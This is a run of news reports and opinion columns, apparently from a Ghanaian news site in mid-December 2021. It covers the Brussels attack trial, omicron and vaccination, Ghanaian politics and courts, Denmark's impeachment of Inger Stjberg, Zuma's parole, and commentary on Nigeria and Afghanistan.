he was with Islamic State. He said he had been shot in the leg in a battle. He tried to convince me to come to Syria!" After a call in late August 2015, the family never heard from Najim Laachraoui again. Until they read about him in the papers. The father stood before the special criminal court, a decent, heartbroken man, and said simply, "Mr Court President, I don't understand how the person he was at 17 or 18 could become the person who did what he did. "It changed everything. What do you want me to say? It was a catastrophe." Converts from Catholicism The police evidence concerning the Clain family was comprehensive but offered no greater clarity. The brothers Fabien and Jean-Michel Clain were the driving force behind Islamic State's propaganda effort. The family converted, en bloc and in less than two weeks, from Catholicism to fundamentalist Islam. The brothers then left a trail of conversions in their wake, from Toulouse and various French jails, to Syria where they are believed to have died in a coalition airstrike in 2019. The trial continues. Wednesday's session will open later than usual, at 14.00, to allow legal personnel time to participate in the protest by magistrates in support of their claim for better working conditions. A scientist at the West African Center for Cell Biology Pathogen, University of Ghana, Dr. Yaw Bediako has explained that the new COVID-19 variant, omicron, is able to breakthrough vaccines that are in the system. He assured that research has shown that the spread of omicron in the areas that vaccinations are high are lower. Dr. Bediako made the observations in an interview with 3FM's Sunrise hosted by Alfred Ocansey on Wednesday while commenting on the spread of omicron in Ghana. The immunologist said, the spread of omicrons is high. Once we have seen itits means it is spreading but how deadly it we don't knowthere is still more we have to do. He said most cases that have been reported are milled. Many of the cases are milled. Omicron is able to overpass the vaccine so that means the vaccines that we have are less efficient than omicron but the vaccines are protecting people. Dr. Bediako explained that even if you have been vaccinated, omicron can still affect you, but it is significantly lower in areas where vaccines are higher. Omicron can invade the vaccines and that means the longer the virus may take, the vaccines will lose its efficacy, he explained. The World Health Organization (WHO) has warned that the new coronavirus variant Omicron is spreading across the globe at an unprecedented rate. Cases of the heavily mutated variant have been confirmed in 77 countries. But at a press conference, WHO chief Tedros Adhanom Ghebreyesus said it was probably in many others that had yet to detect it. Dr Tedros said he was concerned that not enough was being done to tackle the variant. Surely, we have learned by now that we underestimate this virus at our peril. Even if Omicron does cause less severe disease, the sheer number of cases could once again overwhelm unprepared health systems, he said. The Omicron variant was first identified in South Africa in November, and the country has since seen a surge in infections. President Cyril Ramaphosa has tested positive for Covid-19, and is currently isolating with mild symptoms. A number of countries have introduced travel bans affecting South Africa and its neighbours following the emergence of Omicron, but this has failed to stop it from spreading around the world. In the press conference on Tuesday, Dr Tedros reiterated concerns about vaccine inequity, as some countries accelerate rollouts of a booster shot in response to Omicron. Recent studies of the Pfizer/BioNTech vaccine showed it produced far fewer neutralising antibodies against Omicron than against the original strain, but that this deficit could be reversed by a third, booster, jab. Dr Tedros said boosters could play an important role in curbing the spread of Covid-19, but that it was a question of prioritisation. The order matters. Giving boosters to groups at low risk of severe disease or death simply endangers the lives of those at high risk who are still waiting for their primary doses because of supply constraints, he said. Supplies to the global vaccine-sharing programme Covax have increased in recent months. However, world health officials fear a shortfall of tens of millions of doses like the one which occurred in the middle of this year when India suspended its vaccine exports could happen again. In poorer countries, some vulnerable people are yet to receive a single dose. ---3news.com with additional files from the BBC Member of Parliament for Tongu North, Mr Samuel Okudzeto Ablakwa, has said the Minority Caucus in parliament will frustrate attempts by the Akufo-Addo-led government to purchase a new presidential jet in the midst of the countrys economic challenges. According to the North Tongu legislator, the government should not be planning to buy a presidential jet when it is slapping taxes, including the proposed E-Levy contained in its 2022 Budget statement, on the citizenry as a means of generating revenue to address the countrys economic challenges. In a post on Facebook on Wednesday, 15 December 2021, Mr Ablakwa said: A government which claims to be facing one of the most difficult economic challenges of the modern era and for which it seeks to railroad an obnoxious and regressive E-Levy, should not be holding consultations for the purchase of a new presidential jet. He added: We shall frustrate this, too, consistent with the Akufo-Addo doctrine on priorities as contained in the parliamentary Hansard of 15 February 2000. The Minister of Defence, Mr Dominic Nitiwul, said on Tuesday, 14 December 2021 that consultations were being had toward the purchase of a new jet for government business. In a response to a question on the floor of parliament, Mr Nitiwul said: The Ghana Air Force has, indeed, written to the Minister of Defence to secure for the use of government business, the main aircraft for the communications squadron for the Ghana Air Force. Mr Speaker, consultations are ongoing with the government, parliament, religious bodies and trade unions on the purchase of Ghana Air Force and Navy assets to enable the Ghana Armed Forces to efficiently defend our nation as expected, he noted. The policy and strategy of the Ghana Air Force have been to maintain a minimum of 2 aircraft, which consists of the main aircraft and supporting aircraft that are expected to undertake government business. It must be noted that the CASA 295 is not suitable for government business in view of its design and features making it a pure military aircraft. A few months ago, the Director of Communications at the presidency, Mr Eugene Arhin, announced that the government was in the process of procuring a bigger presidential jet. He told journalists at the Jubilee House on Monday, 27 September 2021, that: You would recollect that when the government of President Kufuor left office in 2008, it had procured two jets the current Falcon and a bigger one but for one reason or the other, the bigger jet was cancelled, and we were left with just one. That has happened but you will recall that the Defence Minister stated clearly that the government has decided to buy a bigger jet to save us from all these troubles. I dont want to go into the details but I am sure that when the Minister gets the opportunity, he will give further information on what the government is doing in that respect but I am sure of the fact that the government is already in the process of getting a bigger jet for use, he added. ---classfmonline.com A Court of Appeal in Accra has fined Akuapem Poloo a sum of GHS12,000 after reversing her 90 days jail term. Early this year on April 16, the actress born Rosemond Brown was jailed for 90 days [three months] by an Accra Circuit Court. This was after she pleaded guilty to three charges including the publication of nude pictures with her seven-year-old son. With her lawyer dissatisfied with the ruling against the client who is a first-time offender, an appeal was subsequently filed where she was granted a GH80,000 bail, pending the determination of the appeal. On December 1, the Court found her appeal without merit, and was subsequently ordered to go and continue her 90-day imprisonment. Appearing before the court again today for a second appeal, Akuapem Poloo became lucky. The Appeals Court after listening to the argument of her lawyer has reversed Akuapem Poloos 90 days jail term. Instead, she has been fined to pay an amount of GHS12,000, equivalent to 1000 penalty units. The decision by the court comes as thrilling news to the family of Akuapem Poloo especially her seven-year-old son. A class two teacher at Twifo Nyinase Roman Catholic Basic School has been arrested by the Police for forcefully having anal sex with a 60-year-old man. Identified as Alexander Akwasi Acquah, the teacher is in trouble for sodomizing Opanin Koofie, a former Unit Committee Chairman of Twifo Nyinase in the Twifo Atti-Morkwa District of the Central Region. Sharing his ordeal as reported by Starr News, the 60-year-old man has disclosed that the class two teacher visited him and asked whether he was alone in his house. Not knowing the intentions of Alexander Akwasi Acquah, Opanin Koofie accepted an invitation to go out with the 34-year-old teacher. He was taken to a drinking sport where the pair had a chat over some alcoholic drinks. Later in the day, the teacher, Alexander Acquah asked Opanin Koofie to be allowed to spend the night at his place claiming that her sisters had visited him from Accra and he wants to leave the room for them. Having opened his home to the teacher, Opanin Koofie in the middle of the night was attacked by the teacher who pulled down his shorts and had anal sexual intercourse with him amid screams for help. The matter was later reported to the Police where he has been arrested. The Twifo Ati-Morkwa District Director of education has taken an interest in the matter and is assisting the Police with its investigation. A host of European countries on Wednesday began their Covid-19 vaccination campaigns for children aged 5-11 amid warnings the Omicron variant could be dominant on the continent by mid-January. Germany, Spain, Greece and Hungary were among those opening up vaccines for younger kids, with doctors reporting strong initial demand from parents. The European Medicines Agency approved the Pfizer-BioNTech shot for children over five last month as infection rates in Europe increasingly target the younger age group. While the dosage is half of that given to an adult, reports say children developed antibody levels just as strong as those who receive the full-strength jabs. In Greece, which has registered more than 30,000 vaccine appointments for kids, Education Minister Niki Kerameus had her young son vaccinated at a hospital in Athens early Wednesday, state media reported. Denmark and some Austrian regions had already began offering jabs to younger kids in November, following in the footsteps of the United States. France waits France is waiting for the green light from local health authorities before opening up vaccination to kids, probably in January, however vulnerable children may be vaccinated now. Prime Minister Jean Castex on the weekend said vaccinating children aged 5-11 was "a necessity" because they had become the biggest virus transmitters. "I am a living example," he told France Bleu television. My 11-year-old daughter gave me the virus a few weeks ago." More than 63,400 cases have been reported in France in the 24 hours to Tuesday a record since April. More than 2,790 patients are in intensive care. French people aged 65 years and over must now have received a booster dose of the vaccine in order to retain their health pass allowing them to eat in restaurants and access public venues. (With AFP) The German government in collaboration with some countries from the European Union (EU) has donated 1,037,700 Astrazeneca vaccine doses through the COVAX facility to the Republic of Ghana. According to a statement issued by the German Embassy in Accra, Denmark contributed 60,000 doses; Estonia 112,800 doses, Luxemburg 38,400 doses, Ireland 276,000 doses, and Germany with a maximum of 550,500 doses. The statement further indicated that, the donation to Ghana brings Germany's total contribution to Ghana to approximately 2.9 million doses of Astrazeneca vaccines. The donation forms part of efforts to support the country's fight against the Covid-19 pandemic. The donors explained that, the bilateral assistance to Ghana complements the EU's and Germany's contribution to the Access to Covid-19 Tools Accelerator (ACTA-A) distribution platform, of which Germany is the second-largest donor, providing 2.2 billion Euros while the European Union provided another 1 billion Euros. COVAX is part of ACT-A. Ghana is also expected to receive an additional 760,000 doses from Germany next week. So far, a total of 5,724,634 vaccines have been administered by the Ghana Health Service. The Health Service has indicated its resolve to bring vaccination to the doorsteps of the public following the declaration of December of vaccination month. Director General GHS, Dr. Patrick Kuma-Aboagye said they are partnering with the relevant authorities to ensure that all citizens comply with the relevant Covid-19 safety protocols during the Christmas celebrations. Its not the sort of thing you encounter regularly. A member of a government cabinet, responsible for arguably one of the countrys most important portfolios, found both wanting and culpable for their actions after leaving their post. But this is what former Danish immigration minister Inger Stjberg found when she was convicted for illegally separating asylum seeking couples arriving in the country. A Danish court of impeachment, in finding the former minister guilty for intentionally neglecting her duties under the Ministerial Responsibility Act, sentenced her to 60 days in prison. Of the 26 members of the court, only one found for the ex-minister. It was only the third time since 1910 that a politician has been referred to the impeachment court. The last was in 1993, when former Conservative justice minister Erik Ninn-Hansen faced proceedings for illegally halting the family reunification of Tamil refugees in 1987 and 1988. Interest in the proceedings centred on an order the ex-minister issued in 2016, which directed that if a member of a married couple were underage, they should be separated and housed in separate centres. This was irrespective of whether they had children. At the time, Stjberg argued that the measure was necessary to protect child brides. They have to be separated, the then minister told the Danish Broadcasting Corporation, because I will not accept that in my system there could be examples of coercion. Some 23 couples were mandatorily separated by the Danish Immigration Service without an individual examination of their circumstances. One couple, a 17-year-old pregnant woman and her 26-year-old husband, filed a complaint with the Danish Parliaments ombudsman, who found the separation to be illegal. The impeachment court also found the policy to be unlawful and a breach of European human rights law as the arrangement did not include exceptions and individual assessments by the immigration service. Ministers tend to find such intrusions of the law into their discretion disconcerting. Were executive power to be curtailed by such legal actions, firm, tearless decisions would be hard to make. When the trial commenced, Stjberg was confident that the Court members would see good sense. I know exactly what I said and did. That is why we are seeking an acquittal. So confident was she of the outcome that the conviction came as something of a shock. Its the only scenario I had not prepared for because I thought it was completely unrealistic. Stjberg was quick on the draw regarding the principles which she followed in making her decision. I think it wasnt just me that lost today, it was Danish values that lost today. (Every political figure found fouling the law is bound to hide behind a set of values.) If, she said, she had had to live with the fact that I had not protected these girls that would actually have been worse than this. The values game is always precarious and immigration ministers claiming to protect the vulnerable are rarely trustworthy sorts. Scratch the surface, and you are bound to find a sadistic reactionary. For Stjberg, it meant adopting a line against the swarthy hordes seeking sanctuary in Europas bosom populist, anti-immigration figures found attractive. Between 2015 and 2019, she served in a centre-right government bolstered by the support of the anti-immigration Danish Peoples Party and presided over 110 amendments restricting the rights of foreigners. Memorably crass, she celebrated the passage of the fiftieth restriction on immigration with a cake. Amongst those measures was the Jewellery law, a stipulation that asylum seekers surrender their jewellery and cash above 10,000 kroner to help fund their stay in Denmark. The Ministry of Immigration guidelines made modest concessions: wedding rings or engagement rings were to be left untouched, though individual officers could determine what sentimental value was attached to others. Like her counterparts in other countries, Stjberg sought to place unwanted and undesirable arrivals on a remote island Lindholm a plan that raised eyebrows in the United Nations. While the facility was intended to detain foreign nationals convicted of crimes and set for deportation, UN Human Rights chief Michelle Bachelet warned about the negative impact of such policies in isolation, and (they) should not replicate these policies. Because depriving them of their liberty, isolating them, and stigmatising them will only increase their vulnerability. Stjberg, self-proclaimed protector of child brides, was merely contemptuous of such concerns. Im quite impressed that you can sit in New York and comment on a deportation centre when not a single shovel has yet touched the ground, and when we have clearly said that we will stay within the conventions we are signed up to. The modern immigration minister has become a plain clothes member of the countrys police force. Suspicion is preferable over charity. Judgment comes before understanding. Separating families, tormenting parents and children, are not infrequent things. But in all fairness to Stjberg, her measures did not lack parliamentary approval and degrees of public support. Not only was she encouraging cruelty, she also being encouraged to be cruel. Indeed, Denmarks harsh refugee policy is being further developed under the guidance of the centre-left Social Democrats, who have adopted some of the worlds harshest refugee policies. Recently, an agreement barring foreigners with suspended sentences from ever becoming Danish citizens was struck by the government with right-wing parties. In June, Parliament gave the government a mandate to establish an internment camp system outside European borders to process asylum-seeker claims. If you apply for asylum in Denmark, you know that you will be sent back to a country outside Europe, and therefore we hope that people stop seeking asylum in Denmark, warned government spokesman Rasmus Stoklund. The smug view expressed by such papers as Politiken, that no minister is above the law, ignores the point that Stjberg became a post girl for reaction, a model emulated rather than dismissed. Had she tinkered more with her child brides order, conditioning it with less severity, she may never have faced the impeachment court. Immigration ministers in other countries should take note but the lessons of this case are unlikely to be learned in Australia. Down under, immigration officials act with brutal impunity confident that their callous decisions are unlikely to ever face stern judicial eyes. No Australian immigration minister has faced proceedings for culpability in returning people to lands they have fled, only to endure torture, persecution and disappearance. Or for ruining the mental health of asylum seekers locked in indefinite captivity in a subsided Pacific concentration camp system. They have set the standard, and countries like Denmark have been inspired. Stjberg might well count herself unlucky. Dr. Binoy Kampmark was a Commonwealth Scholar at Selwyn College, Cambridge. He lectures at RMIT University, Melbourne. Email: [email protected] A South African court Wednesday ordered former president Jacob Zuma to return to prison, invalidating the medical parole he was granted in September. The decision to place Zuma on medical parole is "declared unlawful and set aside", read the ruling by High Court Judge Elias Matojane. Within hours, Zuma's lawyers had filed a motion to appeal. The move means that Zuma will not return to prison until the appeal is heard. In their filing, his lawyers said the court's decision "amounts to cruel and degrading punishment with no due regard to the patient's healthcare, dignity and other human rights." Zuma, 79, was jailed in July for 15 months for contempt of court, after he refused to give testimony to corruption investigators. His jailing sparked violent protests and looting in his home province of KwaZulu-Natal that spread to the financial hub Johannesburg in July, claiming over 350 lives. That was the deadliest violence in South Africa since the end of white-minority rule in 1994. Current President Cyril Ramaphosa has described the unrest as an orchestrated attempt to destabilise the country. Zuma was granted medical parole on September 5, but the exact reasons were never revealed. While in prison, he was taken to hospital for surgery to treat an undisclosed ailment. In addition to the investigation by a special anti-corruption panel, Zuma is also enmeshed in a drawn-out corruption trial relating to a 1999 purchase of arms from five European firms. Deputy president at the time, Zuma is accused of pocketing bribes from French defence giant Thales and faces 16 charges of fraud, graft and racketeering. Some angry teachers have demonstrated against the governments one teacher-one laptop initiative and threatened to shut down their offices if the Ghana Education Services does not refund all the deductions made from their welfare funds to pay for the computers. The teachers marched to the offices of the various teacher unions in Accra on Wednesday, 15 December 2021, to kick against the deductions. The teachers are to pay 30 per cent of the cost of the laptops while the government picks up the remainder. Some of the teachers, however, say the laptops are of inferior quality and, so, do not see the sense in paying for them. Vice-president Dr Mahamudu Bawumia on Friday, 3 September 2021, launched the One Teacher-One Laptop programme and handed over 350,000 computers to the teachers at a brief ceremony on the campus of St Marys Senior High School. He said it is in fulfilment of the governments pledge to equip Ghanas teachers with the requisite ICT skills to prepare the next generation for the fourth industrial revolution. I underscored that effective teaching and learning is critical to developing the human capacity for work, innovation and creativity; necessary ingredients for capacity building, Dr Bawumia later wrote on his Facebook page. He said teachers are indispensable pillars to this necessary capacity building. This initiative, in collaboration with the teacher unions, is to support the vision of the Ghana Education Service of creating an enabling environment to facilitate effective teaching and learning, Dr Bawumia said. He said the government will provide teachers in Ghana with laptops preloaded with educational materials and with access to an e-library equipped with books recommended by the GES on the various subjects. The materials can be accessed whether online or offline, adding: With free Wi-Fi available in 722 senior high schools across the country, access to the almost innumerable resources available on the internet is expected to aid research, teaching and learning. --- classfmonline.com Paris, November 29th, 2021 - The Fondation LOreal and UNESCO are revealing today the laureates of the 12th edition of the For Women in Science Young Talents Awards for Sub-Saharan Africa. This program rewards every year twenty young African women scientists for the excellence of their research. For the 2021 edition, the 15 PhD students and 5 postdoctoral students awardees come from 17 countries and embody, through their backgrounds and research topics, all the diversity and potential of African science for today and tomorrow. AFRICAN WOMEN SCIENTISTS, KEY PLAYERS IN THE DEVELOPMENT OF THE CONTINENT The Jury of the LOreal-UNESCO For Women in Science Sub-Saharan Africa Young Talents Awards 2021, chaired by Pr Aggrey Ambali, Director of Technical Cooperation and Program Financing at the African Union Development Agency (AUDA-NEPAD), selected these 20 Young Talents among nearly 440 applications. For the first time since the inception of the Awards, young talents from Eswatini (formerly Swaziland) and Gabon are present in the final list of awardees. Once again, the Young Talents from this year testify to the fact that African women scientists are a critical asset for the development of the continent. Driven by their commitment, they stand out for their excellence in their respective fields: from chemistry to virology, biology, neurology, and nuclear physics. Through their research, they make an important contribution to improving the living conditions of millions of people throughout Africa and the world. Ambassador in Kigali, Mr Antoine Anfre and the Director of UNESCO Regional office for Eastern Africa, Prof. Hubert Gijzen. During the Young Talents Awards ceremony held in Kigali, Rwanda, on November 25th, they were awarded in front of a high-level audience from all over Africa, including representatives of the scientific world and public authorities, intellectuals, opinion leaders, and organizations promoting gender equality. Among the official guests, the Minister of Education in the Government of Rwanda, Dr. Valentine Uwamariya, the Minister Innovation in the Government of Rwanda, Paola Ingabire, His Excellency the French These women scientists also have in common an exemplary determination that the obstacles they encounter cannot affect. Some of these difficulties are inherent in the world of scientific research in sub-Saharan Africa. For example, the lack of financial and technical resources to carry out research, while other difficulties are specific to the fact of being a woman: social expectations that make it particularly difficult to find a balance between work and the role of a wife or mother. Finally, the lack of role models and, sometimes, the reluctance of some research directors to employ women are additional challenges they need to overcome. As a result, women are still largely underrepresented in the global research community: only 33% of researchers worldwide are women, and the percentage of African women scientists among worldwide researchers is 2.6%.1 Today more than ever, the world needs science, and science needs women, and this is especially true for Sub-Saharan Africa. Why should we deprive ourselves of such talents, when science and innovation are indispensable growth levers for the continent?, declares Alexandra Palt, Executive Vice-President of the Fondation LOreal. THE SUB-SAHARAN AFRICA YOUNG TALENTS 2021 AWARDEES These 20 Young Talents 2021 are joining the community of 3,900 women researchers at PhD and postdoctoral levels who have been supported and honoured in over 110 countries around the world by the For Women in Science program since its inception in 1998. Thanks to these regional awards, young women researchers receive financial support to encourage them to pursue their research projects (endowments of 10,000 for PhD students and 15,000 for postdoctoral students). They benefit from training series (management, negotiation, public speaking...) aimed at providing them with more means to break the glass ceiling, as well as press and digital support through a visibility campaign to shed light on their profiles and inspire future generations of women researchers. We need role models for women and girl scientists, and we need to put the spotlight on the critically important scientific work done by female researchers around the world. Our aim is to change the discriminatory trends they are facing, urgently and together!, says Shamila Nair-Bedouelle, Assistant Director-General for Natural Sciences of UNESCO. Discover the 2021 Sub-Saharan Africa Young Talents Awardees About the Sub-Saharan Africa Young Talents Awards Since the creation of the Sub-Saharan Africa regional For Women in Science program in 2010, L'Oreal and UNESCO have shed light on 161 outstanding women scientists, including 13 laureates of the International For Women in Science Awards and 134 young talents at PhD and postdoctoral levels. Since 2019, South Africa also has a specific program supporting 7 young women researchers (5 PhD and 2 postdoctoral students) each year. About the Foundation L'Oreal The Fondation LOreal supports and empowers women to shape their future and make a difference in society, focusing on three major areas: scientific research and inclusive beauty and climate action. Since 1998, the LOreal-UNESCO For Women in Science program has worked to empower more women scientists to overcome barriers to progression and participate in solving the great challenges of our time, for the benefit of all. For 23 years, it has supported more than 3,900 women researchers from over 110 countries, rewarding scientific excellence and inspiring younger generations of women to pursue science as a career. Convinced that beauty contributes to the process of rebuilding lives, the Fondation LOreal helps vulnerable women to improve their self-esteem through free beauty and wellness treatments. It also enables underprivileged women to gain access to employment with dedicated vocational beauty training. On average, around 16,000 people have access to these free treatments every year and more than 18,000 people have taken part in professional beauty training, since the beginning of the program. Finally, women are affected by persistent gender-based discrimination and inequalities, exacerbated by climate change. While they are on the frontline of the crisis, they remain under-represented in climate decision-making. The Women and Climate program of the Fondation LOreal supports, in particular, women who are developing climate action projects addressing the urgent climate crisis and raises awareness of the importance of gender-sensitive climate solutions. About UNESCO Since its creation in 1945, UNESCO, the United Nations Educational, Scientific and Cultural Organization, has worked to create the conditions for dialogue among civilizations, cultures, and peoples, based on respect for common values. UNESCO's mission is to contribute to the building of peace, the eradication of poverty, sustainable development, and intercultural dialogue through its unique expertise in education, science, culture, communication, and information. The Organization has two global priorities: Africa and gender equality. UNESCO is the only UN specialized agency with a specific mandate in the sciences, symbolized by the "S" in its acronym. Through its science-related programs, UNESCO contributes to the implementation of the United Nations Sustainable Development Goals, helps developing countries build their scientific and technological capacities, and supports Member States in their efforts to develop science policies and programs. It also supports Member States in their efforts to develop effective public policies that integrate local and indigenous knowledge systems. UNESCO promotes scientific research and expertise in developing countries. The Organization leads several intergovernmental programs on sustainable management of freshwater, ocean and terrestrial resources, biodiversity conservation, and the use of science to address climate change and disaster risk reduction. With its national and regional offices on all continents, UNESCO supports international scientific cooperation and works with many partners at the global, regional, and national levels. Through its partners, the Organization can draw on resources, know-how and expertise to promote its ideals and values and to strengthen the impact and visibility of its action in all its fields of competence. Advocacy group, SEND Ghana has called on government to find a dedicated source of funding for the Ghana School Feeding Programme (GSFP). The Ghana School Feeding Program (GSFP) began in 2005 with a basic concept of providing children in public primary schools and kindergartens in the poorest areas with one hot, nutritious meal per day, using locally-grown foodstuffs. The immediate objectives of the programme are to reduce hunger and malnutrition; increase school enrolment, attendance and retention; and boost domestic food production. Unfortunately, the programme in the last decade has faced a lot of challenges including financing that threatens its collapse. Speaking to Modernghana News on the sidelines of a stakeholder Dialogue on Procurement Process in Contracting Caterers for the Ghana School Feeding Programme, SEND Ghana Regional Manager for the North, Mr. Mohammed Mumuni has recommended that the government settles on a dedicated source of funding to protect the programme. The fact that aside the consolidated fund there is no dedicated source of funding for the Ghana School Feeding Programme accounts for the delay or continuous delay in reimbursing the caterers. And I think that is affecting the quality and the quantity of food being fed. READ ALSO: https://www.modernghana.com/news/1126026/political-interference-affecting-delivery-of-schoo.html We have implemented this programme for more than a decade and by now we should find innovative ways to finance it. If we are not able to get things like this to work I think the Ghana School Feeding Programme will continue to face these challenges, Mr. Mumuni shared. He further said the allocation of GHS1 per plate for the school feeding programme is woefully inadequate. He said his outfits want the allocation to be increased to at least GHS2 to ensure school kids are fed with quality and enough meals in school. 15.12.2021 LISTEN The Nigeria Centre for Disease Control (NCDC) has revealed that the number of active COVID-19 cases in Nigeria increased and experienced a surge in the number of active cases from 3,000 to over 6,000 within the last few days. At the time of this writing, reports showed that only about 3% of Nigeria's population has received a full course of vaccines against Covid - a very low rate even compared with other countries in Africa. There are so many factors responsible for this low rate. The enthusiasm to take the vaccine remain low, there is hesitancy to take it. Some Nigerians see religious beliefs and prayers as more effective than the vaccine. There are constant rumors and disinformation, spreading throughout social media, which have reduced the demand for COVID-19 vaccines, even though supply issues remain. That the vaccine was a biological weapon from advanced countries to control population growth. Within the Nigeria settings, COVID-19 vaccines is a process endangered by corruption. Corruption risks such as embezzlement is already a matter of concern. The Independent Corrupt Practices and Other Related Offences Commission (ICPC) has commenced an investigation into the use of the N950 million COVID-19 Intervention Fund by the University of Port Harcourt Teaching Hospital and all other health institutions that benefited from the COVID-19 Intervention Fund of the Federal Government. Due to an apparent violation of the provisions of the Corrupt Practices and Other Related Offences Act, 2000 by the beneficiaries of the Fund. Even with supplies coming, the main challenge now is how to deliver the vaccines. The system to deliver the vaccine is not adequate. Logistical challenges, such as securing enough syringes remains. Now we have as many or more than 1 million doses of covid-19 vaccines reportedly expired before they could be used in Nigeria. Apart from supply and demand issues, there is reluctance by many Nigerians to respect and adhere to the three Ws wearing your mask, washing your hands, and watching your distance. With the new covid-19 variant, omicron being detected in Nigerians entering other countries, high income nations like the UK, Canada, and UAE have placed travel restrictions on Nigeria. Now Nigerian government said it plans to put Canada, UAE especially, on Covid-19 red list which would imply a ban on flights. Nigeria must stop being made a dot in a circle, and no, these foreign policies on COVID-19 restrictions are not racist, inappropriate, and discriminatory. For example, in UK, 21 or more cases of Omicron recorded in England were linked to travelers from Nigeria. Certainly, Nigeria as a nation have the right to reciprocate harm of any type but in this case, given Nigerias poor preparations and other limiting factors to the COVID-19 pandemic, it should stop even thinking about retaliation, not when Nigeria remains a noticeable a dot in a circle, before the eyes of these high economy nations. Here are some words attributed to the Minister of Aviation, Hadi Sirika: since they did not want citizens from Nigeria visiting their country, their citizens also have no business visiting Nigeria, and As they did to us, if they do not allow our citizens into their countries; who are they coming, as airlines, to pick from our country. They are not needed at all, as they will further dig Nigeria into deeper whole. Now, see what UAE just did, it has directed foreign airlines not to bring Nigerians to UAE. As such Nigerian passengers are being denied boarding on foreign airlines at international airports in Nigeria, For example, Ethiopian Airlines, Turkish Air, and other international airlines going to Dubai from their bases have also been directed not to board any passenger with Nigerian passport whose destination is Dubai, UAE. No, no one should apologize to each other but as Nigeria is a dot in a circle, meaning very susceptible to these rich economies, Nigeria should be smart, or it can be further pushing itself towards self-induced national suicidal. The people must seriously abide by COVID-19 guidelines and restrictions established by health officials, who equally must do the same. Nigeria must start expressing its commitment to rectify the lingering challenges surrounding Covid 19 as that will not only reduce the covid 19 infections, but it will also make the world respect Nigeria more, and through diplomacy a softer foreign policy could expand to Nigeria in respect to the coronavirus and its variants. John Egbeazien Oshodi who was born in Uromi, Edo State in Nigeria, is an American based Police/Prison Scientist and Forensic/Clinical/Legal Psychologist. A government Consultant on matters of forensic-clinical adult/child psychological services in the USA; Chief Educator and Clinician at the Transatlantic Enrichment and Refresher Institute, an Online Lifelong Center for Personal, Professional and Career Development. A former Interim Associate Dean/Assistant Professor at the Broward College, Florida. The Founder of the Dr. John Egbeazien Oshodi Foundation, Center for Psychological Health and Behavioral Change in African settings. In 2011, he introduced the State-of-the-Art Forensic Psychology into Nigeria through N.U.C and the Nasarawa State University where he served in the Department of Psychology as an Associate Professor. The Development Professor and International Liaison Consultant at the African University of Benin, and a Virtual Faculty at the ISCOM University, Benin of Republic. Founder of the Proposed Transatlantic Egbeazien University (TEU) of Values and Ethics, a digital project of Truth, Ethics, Openness. Author of over 40 academic publications/creations, at least 200 public opinion writeups on African issues, and various books. John Egbeazien Oshodi wrote in via [email protected] With missiles blazing and GBU blasting, the imperial invasion of Afghanistan occurred after the Sept 11 attacks in 2001, supported by a stellar cast of powerful allies, ushering a long tedious War on Terror. A day of grief, sadness, anger and fear: the 9/11 attacks has created empty chairs at dinner tables, left void spaces during bedtime and a sudden sharp cut of the usual "hellos" and "goodnights" of love ones. For followers of international politics, you noticed that within the past few months we had seen drastic changes in politics of Afghanistan. US pulled out its troops from Afghanistan which emboldened Taliban to again gained control of Afghanistan. With the return of the Taliban to power in Afghanistan, any appeals to economic assistance following from bonds of friendship will also fall apart. The questionable nature of how such bonds could be transparently, justifiably and judiciously used to the benefit of the masses will surely be in doubts. The leaders of the Taliban has not yet shown enough faith and commitment to building a lost country and to respecting the rights of all citizenry wanting to live their lives and being able to educate themselves in many sectors of their choices. It is always the decision of Taliban above all without the consent of the people. It is noted that at this timeframe of world trade, aside from the export of opium, Afghanistan has zero economic input into the regional economies. And it is likely to be even more irrelevant in the years to come. Why, because the revenue generated from the sale of opium is used in the purchase of arms and not to build back the country into a more conducive place for her citizens. Afghan leadership is based on councils, elders, strongmen and massaging egos, not elections, democracy and people voting. Tribal concerns must be satisfied first, as ones tribal lineage and tribal standing, always comes before the country as a whole. That is their belief system and exactly how the Afghan society is built on. So for a country to have them rethink their belief system is something which they will interpret as an interference on their "rights, values and belief system". No doubt, the US presence in Afghanistan did nothing but delay the collapse of the democratic government. Corruption, self-interest, tribalism, a lack of commitment to central authority, religious extremismthese have been endemic to Afghanistan even prior to the US involvement before the 1980s. The Pentagon's did what they could to build a liberal country for Afghan people but was thwarted by their own people. I always have the view that Ashraf Ghani could have bridged a peace talks with the Taliban's, even if it demands a coalition government to keep Afghanistan in peace and in development. However, Ashraf couldn't materialise what his own book seeks to achieve: "Fixing Failed States". It is quite stating that Afghanistan provides a gateway to central Asian countries rich in gas, oil and minerals. With the construction of chabhar port in Iran, India can not only access Afghanistan but central Asia through Afghanistan. With coming of Taliban I don't think it will be a possibility. Regardless of the position of Afghanistan to such linking oil and gas states, the country is more focused on internal rivalry to using such channels to the development of her citizenry. As it stands now, there is no economy surrounding it which is in anywhere near a good shape. Iran is struggling after years of sanctions; Pakistan is in shambles; Central Asia is in difficulties. Now that Taliban have fully taken over Afghanistan. People will continue to suffer under unjust human rights violations, things will in due time go back to how they were before the US arrived, the central government have fallen and women are again forced to leave all professional positions and assume the full Burka (face mask) of conservative "Islam". Democracy has been lost in Afghanistan to the rejoice of a theocratic dictators. The Taliban and other terrorist groups have filled the void and the freedom the Afghan people had enjoyed in the past, especially women, will be gone. Hangings, public whipping and other street executions will be reignited in a more shocking and inhumane fashion. America has to withdraw to reconcentrate their activities at where their interests is being challenged by China and Russia.How long can US military presence in Afghanistan? This is Afghan people's own problems. So the withdrawal of US military from Afghanistan is in the right order. Bear in mind that in the Middle East, America has to face the rogue activities of Iran. And the new "enemy", China. Now China challenges America and in South China Sea, it builds a strong military facility. China blocks all ships navigating through South China Sea including America's. Here, the new trend of national interests reignites! Abdul-Razak Lukman [email protected] 15.12.2021 LISTEN I find it encouraging to dare to believe that Africa and her diaspora would have a better chance at solidarity and progress if we developed a better sense of our responsibility towards that which sustains us, that is, our identity says the writer, whose new book is Christmas Arrives at Lajwahe. Why is your writing focused on Africa? Ive been forced to intentionality due to the reality of the meagre and miserly opportunity available to Africa and the African diaspora in the world economy. I therefore see my writing career as an opportunity to look at things from the perspective of African culture least credited with shaping the collective dominant economies in our world. I find it encouraging to dare to believe that Africa and her diaspora would have a better chance at solidarity and progress if we developed a better sense of our responsibility towards that which sustains us, that is, our identity. I ask myself often, is there a better way to situate and entrench our writing among Africans and the African diaspora in a way that can produce transformation of our culture? Because the African culture both on the continent and the diaspora is one but with many faces. Taking charge of our identity through creative writing can bring and spread enduring hope, an imminent sense of transformation made possible through tiny cultural connections with all inhabitants of this unique universe of Africa and its Diaspora. I believe that this individual sense of responsibility, of being able to create these works can cultivate a 